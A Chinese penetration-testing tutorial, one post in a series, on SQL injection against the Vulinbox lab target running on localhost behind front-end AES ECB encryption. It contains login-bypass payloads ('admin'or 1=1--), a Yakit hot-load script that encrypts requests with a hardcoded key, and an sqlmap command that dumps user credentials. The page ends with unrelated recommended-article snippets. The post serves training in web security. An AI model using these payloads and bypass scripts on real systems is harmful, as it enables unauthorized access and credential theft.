渗透测试-前端加密之AES加密下的SQL注入
本文是高级前端加解密与验签实战的第4篇文章,本系列文章实验靶场为Yakit里自带的Vulinbox靶场,本文讲述的是绕过前端AES加密进行SQL注入。
CryptoJS.AES-被前端加密的SQL注入

绕过
SQL注入
前端代码和上文一样,都是通过AES加密请求的数据。
在yaklang\common\vulinbox\db.go中可以看到相关后端代码:

数据库是SQLite类型,username参数是直接拼接查询的,所以存在SQL注入漏洞。
登录绕过
yaklang\common\vulinbox\vul_cryptojs_base.go:
密码在第87行被赋值,密码是通过上面的GetUserByUsernameUnsafe获取的

输入{"username":"admin","password":"666666"}的SQL语句
select * from vulin_users where username = 'admin';
输入{"username":"admin'or 1=1--","password":"666666"}的SQL语句
select * from vulin_users where username = 'admin'or 1=1--';
相当于:
select * from vulin_users where true;
所以返回结果为表中的所有数据。

所以用户名随便输,密码输入表中存在的随意一个密码就能登陆成功:


sqlmap
使用Yakit的MITM 交互式劫持,热加载写上AES加密的代码
encryptData = (packet) => {
body = poc.GetHTTPPacketBody(packet)
hexKey = "31323334313233343132333431323334"
key = codec.DecodeHex(hexKey)~
data = codec.AESECBEncrypt(key /*type: []byte*/, body, nil /*type: []byte*/)~
data = codec.EncodeBase64(data)
body = f`{"data": "${data}","key": "${hexKey}"}`
return string(poc.ReplaceBody(packet, body, false))
}
beforeRequest = func(req){
return encryptData(req)
}

1.txt
POST /crypto/js/lib/aes/ecb/handler/sqli HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
{"username":"admin","password":"admin"}
运行sqlmap
python .\sqlmap.py -r .\1.txt --proxy=http://127.0.0.1:8081 --batch -T vulin_users -C username,password,role --dump
注入成功

CryptoJS.AES-被前端加密的 SQL 注入(Bypass认证)
绕过
这个前端代码与前面的还是一样的,都是AES ECB加密。
后端代码如下,可以看到查询语句在109行,用户名和密码都是直接拼接查询的。

SQL注入跟上面的操作一样,这里就不演示了,这里直接用热加载绕过登录。
POST /crypto/js/lib/aes/ecb/handler/sqli/bypass HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
{"username":"admin'or 1=1--","password":""}

渗透测试-前端加密之AES加密下的SQL注入的更多相关文章
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- 渗透测试初学者的靶场实战 2--墨者学院SQL注入—报错盲注
墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...
- 【渗透测试学习平台】 web for pentester -2.SQL注入
Example 1 字符类型的注入,无过滤 http://192.168.91.139/sqli/example1.php?name=root http://192.168.91.139/sqli/e ...
- 渗透测试初学者的靶场实战 3--墨者学院SQL注入—宽字节盲注
墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...
- 信息安全-加密:AES 加密
ylbtech-信息安全-加密:AES 加密 高级加密标准(英语:Advanced Encryption Standard,缩写:AES),在密码学中又称Rijndael加密法,是美国联邦政府采用的一 ...
- 对称加密之---AES加密
工作中常会需要让数据传输前进行加密处理.这次用到的是AES加密.AES加密中,需要注意到坑还是挺多的.对AES也进行了一番了解,发现里面的东西真的是注意的太多了.今天只是整理了一种简单的加密格式,工作 ...
- Mybatis下的SQL注入漏洞原理及防护方法
目录 一.前言 二.SQL 注入漏洞原理 1.概述 2.漏洞复现 3.修复建议 三.Mybatis 框架简介 1.参数符号的两种方式 2.漏洞复现 四.Mybatis 框架下的 SQL 注入问题及防护 ...
- 管中窥豹——框架下的SQL注入 Java篇
管中窥豹--框架下的SQL注入 Java篇 背景 SQL注入漏洞应该算是很有年代感的漏洞了,但是现在依然活跃在各大漏洞榜单中,究其原因还是数据和代码的问题. SQL 语句在DBMS系统中作为表达式被解 ...
- 【Android工具】DES终结者加密时报——AES加密演算法
转载请注明出处:http://blog.csdn.net/zhaokaiqiang1992 在前面的两篇文章中.我们介绍了DES算法,3DES算法以及他们的Android程序实现,并研究了怎样才干实现 ...
- 对称加密之AES加密详解
最近有人问我AES对称加密是啥,我回答了个大概,发现自己不能清晰的讲出来,特此记录,以供学习 一.对称加密 对称加密是最快速.最简单的一种加密方式,加密(encryption)与解密(decrypti ...
随机推荐
- C++ STL queue容器——队列
queue容器 基本概念 queue是一种**先进先出的数据结构,它有两个出口,queue容器允许从一端新增元素,从另一端移除元素. queue容器没有迭代器,所有元素进出都必须符合"先进先 ...
- SpringBoot配置多个数据源-详解
一直在趟坑,从未被超越. 借鉴文章 个人觉得我算是整理的比较详细的了,有些博客老是缺斤少两的.最恶心的是竟然会有人写到,如需下文请关注什么什么公众号. 结构 pom文件 <dependencie ...
- 《MongoDB游记之轻松入门到进阶》代码下载
<MongoDB游记之轻松入门到进阶>代码下载,看看有没有用 http://pan.baidu.com/s/1boKG28R https://item.jd.com/12236244.ht ...
- excel江湖异闻录--Klaus
最开始接触数组公式,是偶然在公众号看到"看见星光"大佬的一个提取混合文本中电话号码的公式,记得当时大佬是用vlookup解的这题,当时完全不能理解,mid中第二参数为什么是个row ...
- python批量读取并显示图片,处理异常。
今天写了一个批量读取并显示图片的代码,当做练习,方便以后拿来使用. import imageio import os import matplotlib.pyplot as plt filepath ...
- vue本地项目启动时遇到coreJs相关报错问题处理
启动项目的时候报错 : 是因为core.js这个包丢失,需要大家重新下载即可 : yarn add core-js
- 35. vue响应式的get和set如何触发或者过程
首先 ,vue 内部使用 Object.defineProperty 给data中的数据添加了 getter 和 setter 函数 : 当我们访问数据的时候,会触发getter 函数 retur ...
- 强化学习笔记之【SAC算法】
强化学习笔记之[SAC算法] 前言: 本文为强化学习笔记第四篇,第一篇讲的是Q-learning和DQN,第二篇DDPG,第三篇TD3 TD3比DDPG少了一个target_actor网络,其它地方有 ...
- 007 Python、Anaconda、pip、Pycharm、Jupyter都是啥?
博客配套视频链接: https://space.bilibili.com/383551518?spm_id_from=333.1007.0.0 b 站直接看 配套 github 链接:https:// ...
- house of banana
条件: 1.任意地址写一个堆地址 2.触发exit函数 3.能泄露堆地址和基地址 原理: 伪造 fini_array 赋值用到的结构体 从而控制程序exit时的程序执行流 ld.so 中存在 _rtl ...